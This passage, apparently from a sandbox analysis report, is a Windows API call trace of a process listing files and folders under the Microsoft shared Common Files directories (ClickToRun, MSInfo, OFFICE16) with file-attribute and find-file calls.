	[0241.570] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.571] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c4400, ftLastWriteTime.dwHighDateTime=0x1d098bf, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8)) returned 1
	[0241.571] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.571] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0xefec0)) returned 1
	[0241.571] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.572] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0)) returned 1
	[0241.576] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.576] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d7a486, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d7a486, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0)) returned 1
	[0241.576] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.576] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo"), fInfoLevelId=0x0, lpFileInformation=0xc000117868 | out: lpFileInformation=0xc000117868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0241.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.577] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\*", lpFindFileData=0xc000117620 | out: lpFindFileData=0xc000117620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0241.578] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0241.578] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0241.578] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1
	[0241.578] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0241.578] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0241.578] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0) returned 0
	[0241.578] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0241.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.587] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\*", lpFindFileData=0xc000117548 | out: lpFindFileData=0xc000117548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0241.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0241.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1
	[0241.587] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0241.587] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0241.587] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x58, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.588] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001176b8 | out: lpFileInformation=0xc0001176b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800)) returned 1
	[0241.590] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0) returned 0
	[0241.591] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600)) returned 1
	[0241.595] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16" (normalized: "c:\\program files\\common files\\microsoft shared\\office16"), fInfoLevelId=0x0, lpFileInformation=0xc000117868 | out: lpFileInformation=0xc000117868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0241.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16" (normalized: "c:\\program files\\common files\\microsoft shared\\office16"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.614] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\*", lpFindFileData=0xc000117620 | out: lpFindFileData=0xc000117620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0241.614] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0241.614] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x58cd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1
	[0241.614] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1
	[0241.614] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000117650 | out: lpFindFileData=0xc000117650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0241.614] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0241.615] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011781c, lpOverlapped=0x0) returned 0
	[0241.615] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x58cd0)) returned 1
	[0241.619] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller"), fInfoLevelId=0x0, lpFileInformation=0xc000117790 | out: lpFileInformation=0xc000117790*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0241.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.631] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\*", lpFindFileData=0xc000117548 | out: lpFindFileData=0xc000117548*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0241.636] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0241.636] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x168258, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1
	[0241.636] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xda982389, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x902bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1
	[0241.636] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1
	[0241.636] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000117578 | out: lpFindFileData=0xc000117578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0241.636] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0241.638] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000117744, lpOverlapped=0x0) returned 0
	[0241.639] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001176b8 | out: lpFileInformation=0xc0001176b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x168258)) returned 1
	[0241.642] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x79, lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0) returned 0
	[0241.643] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), fInfoLevelId=0x0, lpFileInformation=0xc0001176b8 | out: lpFileInformation=0xc0001176b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xda982389, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x902bb)) returned 1
	[0241.651] SetEvent (hEvent=0x124) returned 1
	[0241.651] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0) returned 0
	[0241.651] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001176b8 | out: lpFileInformation=0xc0001176b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0)) returned 1
	[0241.656] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00011766c, lpOverlapped=0x0) returned 0
	[0241.656] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform"), fInfoLevelId=0x0, lpFileInformation=0xc000117868 | out: lpFileInformation=0xc000117868*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
